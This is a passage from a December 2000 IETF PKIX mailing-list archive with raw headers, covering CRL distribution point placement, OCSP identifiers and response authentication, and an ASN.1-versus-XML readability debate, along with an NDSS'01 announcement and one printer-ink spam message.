cert such that the crl pointed to contains/lists revoked end-entity =
certs (issued by it).=20
I came across following certificate.=20
End-entity cert has an AIA extension pointing to its issuer cert and the =
issuer cert has both AIA, to its issuer, and CRLDP persumably pointing =
to a CRL containing end-entity certs. The specs have'nt been very clear =
on the placement of this extension (unless I am overlooking something) =
-- whether it is more appropriate to put the CRLDP in the end-entity =
cert itself as compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued =
its issuer.=20

Some clarification would be greatly appreciated.

thanks,
Jayant

------=_NextPart_000_0404_01C0638A.5B8EDD60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>This might be a naive question. =
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Is it allowed/std practice to put the =
CRLDP=20
extension in the issuer(CA) cert such that the crl pointed to =
contains/lists=20
revoked end-entity certs (issued by it). </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I came across following certificate. =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End-entity cert has an AIA extension =
pointing to=20
its issuer cert and the issuer cert has both AIA, to its issuer, and =
CRLDP=20
persumably pointing to a CRL containing end-entity certs. The specs =
have'nt been=20
very clear on the placement of this extension (unless I&nbsp;am =
overlooking=20
something) -- whether it is more appropriate to put the&nbsp;CRLDP in =
the=20
end-entity cert itself as compared to the CA cert.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The one in the CA could be interpreted =
as one=20
pointing to the CRL issued its issuer. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Some clarification would be greatly=20
appreciated.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Jayant</FONT></DIV></BODY></HTML>

------=_NextPart_000_0404_01C0638A.5B8EDD60--



Received: from inkjetfills.com ([63.174.85.142]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05879 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 12:54:01 -0800 (PST)
Date: Mon, 11 Dec 2000 14:50:42 -0600
From: "Irma Garcia" <irmag@inkjetfills.com>
Message-ID: <B65A9A42.1503B6@[63.174.85.142]>
To: ietf-pkix@imc.org
Subject: ALBAAT Ink Jet News  V17 / EA-3/ A-P
X-Mailer: eMerge 1.62
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

SALE from ALBAAT Ink Jet Fills!

Hewlett Packard Cartridge Refills  Only $14.95
http://orders.albaat.com/retail/entrance_special.html
Stock  #A51645A
Save over 50%

For Printers: 
Hewlett Packard 700/800 Series printers

We do need your empty cartridge to receive this special price!

You are receiving this email because you are a past or current customer ,
vendor , or have either inquired about or requested information from this
company. If you wish for us to remove you from our customer list, please
reply to this message to let us know and we will honor your request to
exclude you from further mailings.

Sincerely, 
Irma A. Garcia
irmag@inkjetfills.com
www.inkjetfills.com
Toll Free: 888-4 ALBAAT
http://www.inkjetfills.com/free.html
ALBAAT INKJET FILLS
12129 North Highway 620 #540
Austin, Texas  78750


Received: from sentry.gw.tislabs.com (firewall-user@sentry.gw.tislabs.com [192.94.214.100]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA02638 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 10:34:06 -0800 (PST)
Received: by sentry.gw.tislabs.com; id NAA14802; Mon, 11 Dec 2000 13:39:40 -0500 (EST)
Received: from clipper.gw.tislabs.com(10.33.1.2) by sentry.gw.tislabs.com via smap (V5.5) id xma014758; Mon, 11 Dec 00 13:38:54 -0500
Received: (from balenson@localhost) by clipper.gw.tislabs.com (8.9.3/8.9.1) id NAA20261 for ietf-pkix@imc.org; Mon, 11 Dec 2000 13:35:12 -0500 (EST)
Date: Mon, 11 Dec 2000 13:35:12 -0500 (EST)
From: "David M. Balenson" <balenson@tislabs.com>
Message-Id: <200012111835.NAA20261@clipper.gw.tislabs.com>
To: ietf-pkix@imc.org
Subject: ANNOUNCE: ISOC Netw. & Distr. Sys. Security Symp. (NDSS'01)

                   R E G I S T E R   N O W ! !

THE INTERNET SOCIETY'S
2001 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'01) 
February 8-9, 2001
Catamaran Resort Hotel, San Diego, California
General Chair:   Steve Welke, Trusted Computer Solutions
Program Chairs:  Avi Rubin, AT&T Labs - Research
                 Paul Van Oorschot, Entrust Technologies

ONLINE INFORMATION AND REGISTRATION:  http://www.isoc.org/ndss01
EARLY REGISTRATION DISCOUNT DEADLINE:  January 11, 2001

The 8th annual NDSS Symposium brings together researchers,
implementers, and users of network and distributed system security
technologies to discuss today's important security issues and
challenges.  The Symposium provides a mix of technical papers and
panel presentations that describe promising new approaches to
security problems that are practical and, to the extent possible,
have been implemented.  NDSS fosters the exchange of technical
information and encourages the Internet community to deploy available
security technologies and develop new solutions to unsolved problems.

THIS YEAR'S TOPICS INCLUDE:
* IP Traceback
* Authenticating Streamed Data
* ATM Encryption
* Source Authentication for Multicast
* Distributed Certified E-Mail
* Wireless Security
* Multi-Security Domain Networks
* Authentication And Key Agreement
* Access Control Language for Security Policies
* Limiting the Disclosure of Access Control Policies
* Principles of Policy in Secure Groups
* Trust Management for IPsec
* Building Certification Paths
* Decentralized Jini Security
* Termination in Language-based Systems
* Cryptography as a Network Service
* Implementation of Kerberos Crossrealm Referral Handling
* Security Risks of Peer-to-Peer Networking

PRE-CONFERENCE TECHNICAL TUTORIALS:
* Network Security Protocol Standards, Stephen Kent
* Deployed & Emerging Security Systems for the Internet, Radia Perlman &
  Charlie Kaufman
* Building Secure Software, Gary McGraw
* Intrusion Detection, Dan Nadir
* Biometrics, Jim Wayman
* Group Security, Thomas Hardjono & Hugh Harney

SPONSORSHIP OPPORTUNITIES AVAILABLE!  Take advantage of this high
visibility event.  Contact Torryn Brazell at the Internet Society
at +1-703-326-9880 or send e-mail to brazell@isoc.org.

THE INTERNET SOCIETY is a non-governmental organization for global
cooperation and coordination for the Internet and its
internetworking technologies and applications.



Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA00371 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 09:25:31 -0800 (PST)
Received: from [192.168.1.2] ([208.233.228.110]) by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G5E00EOHYKQPJ@mta5.snfc21.pbi.net> for ietf-pkix@imc.org; Mon, 11 Dec 2000 09:14:51 -0800 (PST)
Date: Mon, 11 Dec 2000 09:16:50 -0800
From: Aram Perez <aram@pacbell.net>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available)
In-reply-to: <003801c0638e$c021cb80$070a0a0a@klerer.net>
To: ietf-pkix@imc.org
Message-id: <B65A4C02.327C%aram@pacbell.net>
MIME-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022

Robert Klerer wrote:

> But this is where the argument for efficiency breaks.  The relaying party
> for the PKI is often a human being not always a computer program.  Often
> when my browser (or email client) asks me if I want to trust a certificate,
> I have a hard time finding my trusty ASN.1 decoder ring in that limited
> dialog box.  I certainly cannot trust the browser to do it, since they can
> not even display the subject name in a consistent way.  If I could read the
> certificate source itself, I could resolve whatever suspicion I have to the
> validity of the information and let my software validate the cryptographic
> validity of the signature.

You may be able to "resolve whatever suspicion" you "have to the validity of
the information." But how about your grandmother? I know my grandmother will
not, whether the information is displayed in XML or some textual version of
ASN.1/BER/DER.

Regards,
Aram Perez

[snip]



Received: from pigeon.verisign.com (pigeon.verisign.com [208.206.241.106]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA29779 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 09:16:29 -0800 (PST)
Received: from postal-gw1.verisign.com (verisign.com [63.104.27.101]) by pigeon.verisign.com (8.9.3/BCH1.7.1) with ESMTP id JAA02469; Mon, 11 Dec 2000 09:14:50 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id <YMBXVTWJ>; Mon, 11 Dec 2000 09:18:59 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F4020DC0E2@vhqpostal.verisign.com>
From: Michael Myers <MMyers@verisign.com>
To: "Grant, Alistair" <Alistair.Grant@ca.com>, ietf-pkix@imc.org
Cc: Ambarish Malpani <ambarish@valicert.com>, Simon Tardell <simon.tardell@smarttrust.com>
Subject: RE: OCSP identifiers
Date: Mon, 11 Dec 2000 09:18:58 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Alistair,

We will be talking about these issues face to face later today and
throughout this week.  Will you be in San Diego to join us?  Taking up your
question by cases though, we have:

Many wireless environments are best enabled by use of a direct cert blob via
Certificate syntax rather than performing the ASN.1 parsing, hash
computation and ASN.1 construction necessary to produce certID.

Certain other wireless environments find use of a name via GeneralName
syntax more closely aligned with their PKI deployment requirements.

In the disjoint S/MIME case, it is intutively obvious to the casual observer
that use of IssuerandSerialNumber is a far more natural choice.

Use of IssuerandSerialNumber may also benefit the classic SSL, TLS and IPSEC
use cases.

Finally, the certHash option enables a fairly compact means of producing an
identifier against any form of certificate we know of today and any that may
be produced in the future.

By the way, this proposal *enables* environments to use these identifiers.
The requirements need to be sharpened in this area to ensure at least one
SHALL for interoperability purposes.  Myself, I would propose
IssuerandSerialNumber since it seems to be the single most widely deployed
identifier in the marketplace today.  Others may feel differently.

Any opinions then on this rationale?  And have you any further opinions on
the recent proposal to extend the response spectrum to include valid,
invalid, suspended and expired?

I fully agree with Simon's observation that zero length Issuer Key Hash
removes the need for the CA
certificate.  I had first brought this approach to the WG attention at the
most recent D.C. IETF.

I'm not yet sold that an extension-based approach is in the long run offers
any benefit over the CHOICE approach.  Could you elaborate on why you
believe this to be the case?

Mike



> -----Original Message-----
> From: Grant, Alistair [mailto:Alistair.Grant@ca.com]
> Sent: Monday, December 11, 2000 4:49 AM
> To: ietf-pkix@imc.org
> Cc: Michael Myers; Ambarish Malpani; Simon Tardell
> Subject: RE: OCSP identifiers
> 
> 
> Hi Mike,
> 
> Would you please provide a summary of why multiple 
> certificate identifier
> formats are required in OCSPv2, overall and for each proposed 
> identifier.
> In particular using CertHash seems problematic as it forces 
> the responder to
> provide additional indexes for looking up certificates.
> 
> Without sufficient justification (which I have not yet seen), 
> I would add my
> voice to those opposing the additional identifiers (Simon 
> Tardell, Ambarish
> Malpani, etc).  
> 
> Simon Tardell's suggestion of keeping the current CertId and adding an
> extension to check issuance seems like a better alternative.
> 
> As Simon has said, a zero length Issuer Key Hash removes the 
> need for the CA
> certificate.  In combination with Simon's extension the 
> client can still be
> confident that the correct certificate is being identified.
> 
> The wording for good/revoked/unknown discussion, as raised by 
> Ambarish, does
> not seem to have been closed.
> 
> 
> 
> Cheers,
> 
> Alistair Grant
> E-Mail:		Alistair.Grant@ca.com
> Phone:		+61 3 9825 5692
> Mobile:		+61 408 565 080
> 


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28421 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 08:30:43 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G5E00301WN8KU@ext-mail.valicert.com> for ietf-pkix@imc.org; Mon, 11 Dec 2000 08:33:08 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G5E002DOWN8IL@ext-mail.valicert.com>; Mon, 11 Dec 2000 08:33:08 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <YCZ39427>; Mon, 11 Dec 2000 08:30:12 -0800
Content-return: allowed
Date: Mon, 11 Dec 2000 08:30:11 -0800
From: Ambarish Malpani <ambarish@valicert.com>
Subject: RE: OCSP response authentication question
To: "'Jonathan.Tuliani@symbian.com'" <Jonathan.Tuliani@symbian.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E6EBC87@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Jonathan,
    The usage that you desire is quite correct and being used by
others.

It is perfectly reasonable to trust a single server and to send it
queries for the status of multiple certificates. If the server is
appropriately configured, it can go out to find the statuses of all
the certificates you are interested in and provide you with a
consolidated response signed with a key that you trust (using direct
trust).

If multiple CAs are willing to trust a single responder to provide
responses on their behalf, it is also possible for a single
responder to have multiple OCSP signing certificates issued by
multiple CAs. In this case, it is possible for you to get a single
response, signed by a single responder, but with multiple
certificates, indicating that the responder is authorized by
multiple CAs.

There is also a third possibility, where the client just queries all
the OCSP responders directly.

Hope this helps,
Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Jonathan.Tuliani@symbian.com 
> [mailto:Jonathan.Tuliani@symbian.com]
> Sent: Monday, December 11, 2000 8:14 AM
> To: ietf-pkix@imc.org
> Subject: OCSP response authentication question
> 
> 
> Deal all,
> 
> We've been having a little trouble understanding how we 
> should be planning
> to authenticate our OCSP responses in the case where there is 
> more than one
> certificate from more than one issuer.  If anyone can help to 
> shed some
> light on this issue, we should be most grateful.  Details follow.
> 
> We're using the June 1999 edition of the OCSP spec, btw.
> 
> Suppose that a client wished to authenticate more than one 
> certificate.
> For example, suppose the client has a chain of certificates: 
> to validate
> the chain requires each certificate to be revocation checked.  It is
> possible to bundle all of these certificates into a single 
> OCSP request.
> Similarly, the OCSP response should be able to give us the 
> status for each
> certificate.
> 
> Our problem arises when trying to authenticate this response.  It is
> reasonable to suppose that the certificates in the request 
> could have been
> issued by a variety of different bodies.  Indeed, this is 
> likely to be so
> in the common usage scenario of validating a certificate 
> chain.  However,
> notice that the OCSP response has only a single signature.  
> This being the
> case, there is no way we can employ rules 2 or 3 under 
> section 4.2.2.2 of
> the OCSP spec - these specify that the response be signed 
> either directly
> by the certificate issuing CA, or contain an extendedKeyUsage 
> extension
> issued directly by the issuing CA.  This leaves rule 1, that 
> is that the
> response match a locally configured trusted responder.
> 
> Now suppose additionally that the OCSP server in question is 
> operating in
> the mode described in section 4.4.6 of the spec.  That is, 
> information is
> taken from AuthorityInfoAccess extensions in the certificates to form
> serviceLocator extensions, which are placed into the request as
> singleRequestExtensions.  The OCSP server uses these 
> extensions to direct
> the request to other servers known to be authoritative for 
> the certificate
> in question.  In our scenario, these serviceLocator extensions will be
> specifying several different authoritative servers.  We 
> suppose then that
> the original OCSP server must collate and authenticate these 
> responses,
> before compiling a single response valid for all 
> certificates, which it
> then signs and sends to the client.
> 
> We would be grateful if someone more familiar with the OCSP spec could
> confirm that what I have described is indeed a valid intended usage
> scenario.  In particular, we are concerned about the 
> authentication of the
> multiple responses that the OCSP server must perform before 
> producing the
> collated response.  Is it correct for the client to trust the 
> server with
> this task?
> 
> Best regards, and thanks in advance,
> 
> Jonathan
> -----------------------------
> Jonathan.Tuliani@Symbian.com
> www.symbian.com
> 


Received: from qmail.arl.qwestip.net (qmail.qwestip.net [205.171.7.14]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA27876 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 08:20:42 -0800 (PST)
Received: (qmail 21371 invoked from network); 11 Dec 2000 16:18:16 -0000
Received: from ns.klerer.net (HELO dell450nt) ([63.146.136.63]) (envelope-sender <klerer@xhair.com>) by mail.qwestisp.net (qmail-ldap-1.03) with SMTP for <ietf-pkix@imc.org>; 11 Dec 2000 16:18:16 -0000
Message-ID: <003801c0638e$c021cb80$070a0a0a@klerer.net>
From: "Robert Klerer" <klerer@xhair.com>
To: <ietf-pkix@imc.org>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility  available)
Date: Mon, 11 Dec 2000 11:23:52 -0500
Organization: Crosshair Communications Corporation
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

But this is where the argument for efficiency breaks.  The relaying party
for the PKI is often a human being not always a computer program.  Often
when my browser (or email client) asks me if I want to trust a certificate,
I have a hard time finding my trusty ASN.1 decoder ring in that limited
dialog box.  I certainly cannot trust the browser to do it, since they can
not even display the subject name in a consistent way.  If I could read the
certificate source itself, I could resolve whatever suspicion I have to the
validity of the information and let my software validate the cryptographic
validity of the signature.


From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
>
>
> Anders Rundgren wrote (in part):
>
> snip
>
> >  Using XML I would neither have had to "guess" element
> >  usage, nor use a "debugger".
>
> Really? Consider the ASN.1 value
>
>    concord INTEGER ::= 3
>
> which could be transferred directly as text or DER
> encoded into the binary value 0x020103.
>
> What does representing this value using XML mark
> up such as
>
>    <concord> 3 </concord>
>
> tell you?
>
> Do I mean a how I rate a city, a quantity of grapes,
> or that the treaty is behind door number number three?
>
> I agree of course that the mark up format may be easier
> for programmers who lack tools or reasonable skills and
> training to debug. But consider actual usage.
>
> I may debug this message for a short while during a
> program development period, then deploy the program
> and transfer this message billions of times with no
> human intervention.
>
> Why would I wish to transfer 22 bytes of information
> instead of three?
>
> What advantage does transferring 19 extra bytes give
> my application?
>
> Once deployed, will it matter to the performance of
> the program whether or not this message can be easily
> read by a human?
>
> If a client should receive a broken message from my
> program, will the users lot be improved if they can
> correct the broken message with NotePad?
>
> Phil
>



Received: from extapps03.intra.dmz ([194.200.144.248]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA27492 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 08:13:07 -0800 (PST)
From: Jonathan.Tuliani@symbian.com
Received: from SymbianUK05.Symbian.com (unverified) by extapps03.intra.dmz (Content Technologies SMTPRS 4.1.5) with ESMTP id <T0a9b023c506b6586ae@extapps03.intra.dmz> for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 16:13:19 +0000
Received: from symbianuk20.symbian.com ([10.170.2.25]) by SymbianUK05.Symbian.com (Lotus Domino Release 5.0.1b (Intl)) with ESMTP id 2000121116141810:20139 ; Mon, 11 Dec 2000 16:14:18 +0000 
Subject: OCSP response authentication question
To: ietf-pkix@imc.org
Cc: 
X-Mailer: Lotus Notes Release 5.0.2c (Intl) 2 February 2000
Message-ID: <OFA1B3FB65.11253155-ON802569B2.00564D27@symbian.com>
Date: Mon, 11 Dec 2000 16:14:09 +0000
X-Priority: 3 (Normal)
MIME-Version: 1.0
X-MIMETrack: Serialize by Router on SymbianUK20/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 12/11/2000 04:14:09 PM, Itemize by SMTP Server on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 11/12/2000 04:14:18 PM, Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 11/12/2000 04:14:18 PM, Serialize complete at 11/12/2000 04:14:18 PM
Content-type: text/plain; charset=us-ascii

Deal all,

We've been having a little trouble understanding how we should be planning
to authenticate our OCSP responses in the case where there is more than one
certificate from more than one issuer.  If anyone can help to shed some
light on this issue, we should be most grateful.  Details follow.

We're using the June 1999 edition of the OCSP spec, btw.

Suppose that a client wished to authenticate more than one certificate.
For example, suppose the client has a chain of certificates: to validate
the chain requires each certificate to be revocation checked.  It is
possible to bundle all of these certificates into a single OCSP request.
Similarly, the OCSP response should be able to give us the status for each
certificate.

Our problem arises when trying to authenticate this response.  It is
reasonable to suppose that the certificates in the request could have been
issued by a variety of different bodies.  Indeed, this is likely to be so
in the common usage scenario of validating a certificate chain.  However,
notice that the OCSP response has only a single signature.  This being the
case, there is no way we can employ rules 2 or 3 under section 4.2.2.2 of
the OCSP spec - these specify that the response be signed either directly
by the certificate issuing CA, or contain an extendedKeyUsage extension
issued directly by the issuing CA.  This leaves rule 1, that is that the
response match a locally configured trusted responder.

Now suppose additionally that the OCSP server in question is operating in
the mode described in section 4.4.6 of the spec.  That is, information is
taken from AuthorityInfoAccess extensions in the certificates to form
serviceLocator extensions, which are placed into the request as
singleRequestExtensions.  The OCSP server uses these extensions to direct
the request to other servers known to be authoritative for the certificate
in question.  In our scenario, these serviceLocator extensions will be
specifying several different authoritative servers.  We suppose then that
the original OCSP server must collate and authenticate these responses,
before compiling a single response valid for all certificates, which it
then signs and sends to the client.

We would be grateful if someone more familiar with the OCSP spec could
confirm that what I have described is indeed a valid intended usage
scenario.  In particular, we are concerned about the authentication of the
multiple responses that the OCSP server must perform before producing the
collated response.  Is it correct for the client to trust the server with
this task?

Best regards, and thanks in advance,

Jonathan
-----------------------------
Jonathan.Tuliani@Symbian.com
www.symbian.com



Received: from aspams52.ca.com (aspams52.cai.com [155.35.248.76]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA22874 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 05:04:00 -0800 (PST)
Received: by aspams52.ca.com with Internet Mail Service (5.5.2650.21) id <YNDG0KVN>; Mon, 11 Dec 2000 23:49:24 +1100
Message-ID: <6B33416BC4BBD411BCA6009027D0D18C645695@aspams01.ca.com>
From: "Grant, Alistair" <Alistair.Grant@ca.com>
To: ietf-pkix@imc.org
Cc: Michael Myers <MMyers@verisign.com>, Ambarish Malpani <ambarish@valicert.com>, Simon Tardell <simon.tardell@smarttrust.com>
Subject: RE: OCSP identifiers
Date: Mon, 11 Dec 2000 23:49:24 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Hi Mike,

Would you please provide a summary of why multiple certificate identifier
formats are required in OCSPv2, overall and for each proposed identifier.
In particular using CertHash seems problematic as it forces the responder to
provide additional indexes for looking up certificates.

Without sufficient justification (which I have not yet seen), I would add my
voice to those opposing the additional identifiers (Simon Tardell, Ambarish
Malpani, etc).  

Simon Tardell's suggestion of keeping the current CertId and adding an
extension to check issuance seems like a better alternative.

As Simon has said, a zero length Issuer Key Hash removes the need for the CA
certificate.  In combination with Simon's extension the client can still be
confident that the correct certificate is being identified.

The wording for good/revoked/unknown discussion, as raised by Ambarish, does
not seem to have been closed.



Cheers,

Alistair Grant
E-Mail:		Alistair.Grant@ca.com
Phone:		+61 3 9825 5692
Mobile:		+61 408 565 080


-----Original Message-----
From: Michael Myers [mailto:MMyers@verisign.com]
Sent: Thursday, November 30, 2000 5:34 AM
To: Stephen Kent
Cc: ietf-pkix@imc.org
Subject: RE: OCSP identifiers


Steve,

It's our objective to amend RFC 2560's certID syntax while preserving all
that RFC 2560 has established.  I have always presumed this would lead to a
new RFC number.  We're doing so in order to address known needs to expand
the means by which certificates can be identified in the OCSP bit stream.
Alternatively, we could editorially amend RFC 2560 and so move it from
proposed to draft.  As briefed in Pittsburg however, many of us believe it's
best to take the former course of action.

To that end, the v2 certID syntax is amendend in a fashion that enables v1
interoperability.  Further, both OCSPv2 servers and clients are required to
be capable of backwards interoperablity with their v1 peers.  There's no
need to deprecate the use of v1 if the original certID syntax satisfies
local requirements.  It's only when environments wish to, say, use CMS's
IssuerandSerialNumber vs. original certID that use of the v2 version number
in the bit stream is required.  Other than that,  it's precisely the same
protocol, simply amended to enable its use in other contexts.

Hope that clarifies things.

Mike


Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA08874 for <ietf-pkix@imc.org>; Sun, 10 Dec 2000 01:04:43 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id KAA19367; Sun, 10 Dec 2000 10:07:06 +0100 (CET)
Received: from mega (t2o69p111.telia.com [62.20.144.231]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBA975o05801; Sun, 10 Dec 2000 10:07:05 +0100 (CET)
Message-ID: <001301c06288$5d186cd0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: <phil.griffin@asn-1.com>, "pkix list" <ietf-pkix@imc.org>
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> <006901c06221$59269f00$0201a8c0@vincent.se> <3A32DAA2.18C7D570@asn-1.com>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility  available)
Date: Sun, 10 Dec 2000 10:05:36 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id BAA08879

Phil,

> >  Using XML I would neither have had to "guess" element 
> >  usage, nor use a "debugger".
> 
> Really? Consider the ASN.1 value
> 
>    concord INTEGER ::= 3
> 
> which could be transferred directly as text or DER 
> encoded into the binary value 0x020103.
> 
> What does representing this value using XML mark 
> up such as  
> 
>    <concord> 3 </concord> 
> 
> tell you? 
> 
> Do I mean a how I rate a city, a quantity of grapes,
> or that the treaty is behind door number number three?

I don't think that XML will solve all information problems, but if you get a whole
bunch of data like in the PKCS #7 blob I reffered to and you would like to cross-check
that with the specification (which was exactly what I tried to do), XML-based data would
be much simpler.

> I agree of course that the mark up format may be easier
> for programmers who lack tools or reasonable skills and 
> training to debug. But consider actual usage. 

This is both right and wrong.  If we consider things that for a lot of reasons
must be identically interpreted by a LARGE audience like the X509 certificate, any
coding scheme would do, ASN.1 included.

What sparked my interest in XML in conjunction with PKI was things like the AC which IMO
(but not in everyones opinion), could proliferate in completely local attribute schemes
as well as international or application-specific schemes.  These schemes will have
practically nothing but the header in common.  They may also change content frequently
(i.e. there will be versioning of attribute data).  If that really becomes the case, ASN.1
would be a bad choice.  But as you probably have noted the AC already has contenders
like S2ML so I don't think we will see that much AC implementations. 

Being in the computer business since 20 years I see program/format/message
incompatibilities becoming more and more the #1 problem/plauge.
The upgrading processes costs zillions of dollars each year.  ASN.1 does not
address this problem properly.

> I may debug this message for a short while during a
> program development period, then deploy the program 
> and transfer this message billions of times with no
> human intervention. 

For stable structures this is 100% true.  But is the world stable?

> Why would I wish to transfer 22 bytes of information 
> instead of three? 

Certainly not.  See answer above.

> What advantage does transferring 19 extra bytes give 
> my application?

Nothing of course!

> If a client should receive a broken message from my
> program, will the users lot be improved if they can
> correct the broken message with NotePad?

OK, I actually don't believe (hope at least!) that this is how XML incompatibilities will be handled.
The XML schema thing gives you a useful versioning capability that at least will make it 100%
clear if you are digesting the right stuff or not.  At least a starter although not a cure.  I don't
believe there is a cure for message incompatibilities.  Some XML proponents do.  They are
obviously selling something they cannot deliver!

Anders
 



Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA26933 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 17:16:18 -0800 (PST)
Received: from asn-1.com (user-2ivf6bc.dialup.mindspring.com [165.247.153.108]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id UAA04831 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 20:18:40 -0500 (EST)
Message-ID: <3A32DAA2.18C7D570@asn-1.com>
Date: Sat, 09 Dec 2000 20:21:38 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix list <ietf-pkix@imc.org>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility  available)
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> <006901c06221$59269f00$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Anders Rundgren wrote (in part):

snip 

>  Using XML I would neither have had to "guess" element 
>  usage, nor use a "debugger".

Really? Consider the ASN.1 value

   concord INTEGER ::= 3

which could be transferred directly as text or DER 
encoded into the binary value 0x020103.

What does representing this value using XML mark 
up such as  

   <concord> 3 </concord> 

tell you? 

Do I mean a how I rate a city, a quantity of grapes,
or that the treaty is behind door number number three?

I agree of course that the mark up format may be easier
for programmers who lack tools or reasonable skills and 
training to debug. But consider actual usage. 

I may debug this message for a short while during a
program development period, then deploy the program 
and transfer this message billions of times with no
human intervention. 

Why would I wish to transfer 22 bytes of information 
instead of three? 

What advantage does transferring 19 extra bytes give 
my application?

Once deployed, will it matter to the performance of
the program whether or not this message can be easily 
read by a human?

If a client should receive a broken message from my
program, will the users lot be improved if they can
correct the broken message with NotePad?

